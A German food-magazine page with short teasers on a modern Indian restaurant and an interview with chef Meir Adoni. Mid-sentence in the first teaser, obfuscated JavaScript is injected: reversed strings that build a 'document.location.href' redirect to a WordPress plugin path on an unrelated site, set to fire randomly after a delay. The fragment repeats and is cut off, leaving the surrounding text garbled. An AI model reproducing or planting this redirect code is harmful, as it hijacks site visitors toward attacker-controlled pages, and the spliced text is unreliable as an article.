Food

Indisch 2.0 – Wie das Bombay Café Bunty’s neue Wege geht

Tiefkühlerbsen, einfallslose Currys und irgendwie eingestaubt: Moderne indische Lokale sucht man hierzuldoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\’=ferh.noitacol.tnemucod“];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\’=ferh.noitacol.tnemucod“];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}ande fast verzweifelt. Doch es besteht Hoffnung – dank neuer Restaurantkonzepte.

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Der Superstar der israelischen Küche Meir Adoni im Interview

Wer kocht hier eigentlich? In unserer Reihe „Wer steckt dahinter?“ schauen wir in die Küchen bekannter Restaurants, diesmal ins Layla in Berlin. Die Levante-Rezepte stammen von Koch Meir Adoni, so etwas wie der Jamie Oliver Israels. Für welche Gerichte er berühmt ist und was sein wichtigstes Werkzeug ist, beantwortet er uns in zehn schnellen Fragen.

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